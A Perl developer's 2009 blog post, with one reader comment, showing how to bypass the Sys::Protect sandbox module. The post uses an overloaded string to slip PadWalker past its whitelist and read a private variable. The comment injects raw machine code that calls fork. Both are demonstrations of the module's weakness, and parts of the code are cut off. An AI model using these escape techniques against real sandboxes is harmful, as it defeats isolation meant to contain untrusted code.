Slash Boxes
NOTE: use Perl; is on undef hiatus. You can read content, but you can't post it. More info will be forthcoming forthcomingly.

All the Perl that's Practical to Extract and Report

use Perl Log In

Log In

[ Create a new account ]

sartak (7900)

  (email not shown publicly)

Journal of sartak (7900)

Wednesday March 25, 2009
09:52 PM

Breaking Sys::Protect

[ #38702 ]

Sys::Protect does not bill itself as unbreakable protection, but it's fun to break it anyway.

PadWalker is used as an example of an XS module that could seriously mess with other code.

#!/usr/bin/env perl
no strict;
use warnings;
use Sys::Protect;
use Test::More tests => 1;

XSLoader::load(bless {}, 'Break::Sys::Protect');

my $password = 'c53eb8f992b4fdf70a03a4d437820028';
is(${PadWalker::closed_over(sub { $password })->{'$password'}}, $password);

package Break::Sys::Protect;
use overload q{""} => sub {
    return "Math::BigInt::FastCalc"
        if caller eq 'Sys::Protect';

    $_[0] = "PadWalker";

Don't use Sys::Protect. :)

The Fine Print: The following comments are owned by whoever posted them. We are not responsible for them in any way.
More | Login | Reply
Loading... please wait.
  • hey, user can inject any machine code under Sys::Protect!

    use strict;
    use warnings;
    use Sys::Protect;
    use DynaLoader;

    my $s = join(
        "\x31\xc0",    # xor %eax,%eax
        "\xb0\x02",    # mov $0x2,%al
        "\xcd\x80",    # int $0x80
        "\xc3",        # ret
    DynaLoader::dl_install_xsub( 'myfork', unpack( "L", pack( "P*", $s ) ) );

    print "\nforked?\n";